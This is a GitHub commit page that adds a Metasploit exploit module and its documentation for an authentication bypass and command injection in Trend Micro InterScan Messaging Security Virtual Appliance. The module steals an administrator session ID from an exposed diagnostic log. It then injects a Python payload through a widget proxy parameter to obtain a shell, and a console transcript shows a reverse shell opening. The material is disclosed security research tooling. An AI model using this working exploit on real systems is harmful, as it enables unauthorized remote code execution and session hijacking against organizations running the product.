Skip to content

Commit e976a91

Browse files
committed
land rapid7#9053 RCE for rend micro imsva
2 parents a4bc3ea + fb16f1f commit e976a91

File tree

2 files changed

+191
-0
lines changed

2 files changed

+191
-0
lines changed
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
## Vulnerable Application
2+
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user.
3+
4+
The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.
5+
6+
**Vulnerable Application Installation Steps**
7+
8+
IMSVA is distrubed as an ISO image by Trend Micro.
9+
10+
Following steps are valid on the CentOS 6 x64 bit operating system.
11+
12+
1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/)
13+
2. Find "InterScan Messaging Security (Virtual Appliance)" and click.
14+
3. At the time of writing this documentation, you must see "IMSVA-9.1-1600-x86-64-r2.iso" next to Download button.
15+
4. Click to the download button and complete installation of ISO.
16+
17+
If you don't see a affected version of IMSVA, you can try to download IMSVA-9.1-1600 directly from following URL.
18+
19+
[http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso](http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso)
20+
21+
**System requirements:**
22+
- Virtualbox or VMware can be used.
23+
- 4 GB of memory at least.
24+
- 120 GB of disk size at least.
25+
26+
## Verification Steps
27+
28+
A successful check of the exploit will look like this:
29+
30+
- [ ] Start `msfconsole`
31+
- [ ] `use exploit/linux/http/trendmicro_imsva_widget_exec`
32+
- [ ] Set `RHOST`
33+
- [ ] Set `LHOST`
34+
- [ ] Run `check`
35+
- [ ] **Verify** that you are seeing `The target appears to be vulnerable.`
36+
- [ ] Run `exploit`
37+
- [ ] **Verify** that you are seeing `Awesome. JSESSIONID value` in console.
38+
- [ ] **Verify** that you are getting `Session with widget framework successfully initiated` session.
39+
40+
## Scenarios
41+
42+
```
43+
msf > use exploit/linux/http/trendmicro_imsva_widget_exec
44+
msf exploit(trendmicro_imsva_widget_exec) > set RHOST 12.0.0.201
45+
RHOST => 12.0.0.184
46+
msf exploit(trendmicro_imsva_widget_exec) > check
47+
[*] 12.0.0.184:443 The target appears to be vulnerable.
48+
msf exploit(trendmicro_imsva_widget_exec) > exploit
49+
50+
[*] Started reverse TCP handler on 12.0.0.1:4444
51+
[*] Extracting JSESSIONID from publicly accessible log file
52+
[+] Awesome. JSESSIONID value = 0567E974AE729E58178C9B513FEBE41E
53+
[*] Initiating session with widget framework
54+
[+] Session with widget framework successfully initiated.
55+
[*] Trigerring command injection vulnerability
56+
[*] Command shell session 1 opened (12.0.0.1:4444 -> 12.0.0.201:44103) at 2017-10-08 18:05:11 +0300
57+
58+
pwd
59+
/opt/trend/imss/UI/adminUI/ROOT/widget
60+
61+
```
Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution",
14+
'Description' => %q{
15+
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
16+
terminal command under the context of the web server user.
17+
18+
The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product
19+
have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which
20+
leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process
21+
does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
22+
unauthenticated users can execute a terminal command under the context of the web server user.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'mr_me <[email protected]>', # author of command injection
28+
'Mehmet Ince <[email protected]>' # author of authentication bypass & msf module
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
33+
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
34+
],
35+
'DefaultOptions' =>
36+
{
37+
'SSL' => true,
38+
'RPORT' => 8445
39+
},
40+
'Payload' =>
41+
{
42+
'Compat' =>
43+
{
44+
'ConnectionType' => '-bind'
45+
},
46+
},
47+
'Platform' => ['python'],
48+
'Arch' => ARCH_PYTHON,
49+
'Targets' => [[ 'Automatic', {}]],
50+
'Privileged' => false,
51+
'DisclosureDate' => "Oct 7 2017",
52+
'DefaultTarget' => 0
53+
))
54+
55+
register_options(
56+
[
57+
OptString.new('TARGETURI', [true, 'The URI of the Trend Micro IMSVA management interface', '/'])
58+
]
59+
)
60+
end
61+
62+
def extract_jsessionid
63+
res = send_request_cgi({
64+
'method' => 'GET',
65+
'uri' => normalize_uri(target_uri.path, 'widget', 'repository', 'log', 'diagnostic.log')
66+
})
67+
if res && res.code == 200 && res.body.include?('JSEEEIONID')
68+
res.body.scan(/JSEEEIONID:([A-F0-9]{32})/).flatten.last
69+
else
70+
nil
71+
end
72+
end
73+
74+
def widget_auth(jsessionid)
75+
res = send_request_cgi({
76+
'method' => 'GET',
77+
'uri' => normalize_uri(target_uri.path, 'widget', 'index.php'),
78+
'cookie' => "CurrentLocale=en-U=en_US; JSESSIONID=#{jsessionid}"
79+
})
80+
if res && res.code == 200 && res.body.include?('USER_GENERATED_WIDGET_DIR')
81+
res.get_cookies
82+
else
83+
nil
84+
end
85+
end
86+
87+
def check
88+
# If we've managed to bypass authentication, that means target is most likely vulnerable.
89+
jsessionid = extract_jsessionid
90+
if jsessionid.nil?
91+
return Exploit::CheckCode::Safe
92+
end
93+
auth = widget_auth(jsessionid)
94+
if auth.nil?
95+
Exploit::CheckCode::Safe
96+
else
97+
Exploit::CheckCode::Appears
98+
end
99+
end
100+
101+
def exploit
102+
print_status('Extracting JSESSIONID from publicly accessible log file')
103+
jsessionid = extract_jsessionid
104+
if jsessionid.nil?
105+
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
106+
else
107+
print_good("Awesome. JSESSIONID value = #{jsessionid}")
108+
end
109+
110+
print_status('Initiating session with widget framework')
111+
cookies = widget_auth(jsessionid)
112+
if cookies.nil?
113+
fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA")
114+
else
115+
print_good('Session with widget framework successfully initiated.')
116+
end
117+
118+
print_status('Trigerring command injection vulnerability')
119+
send_request_cgi({
120+
'method' => 'POST',
121+
'uri' => normalize_uri(target_uri.path, 'widget', 'proxy_controller.php'),
122+
'cookie' => "CurrentLocale=en-US; LogonUser=root; JSESSIONID=#{jsessionid}; #{cookies}",
123+
'vars_post' => {
124+
'module' => 'modTMCSS',
125+
'serverid' => '1',
126+
'TOP' => "$(python -c \"#{payload.encoded}\")"
127+
}
128+
})
129+
end
130+
end

0 commit comments

Comments
 (0)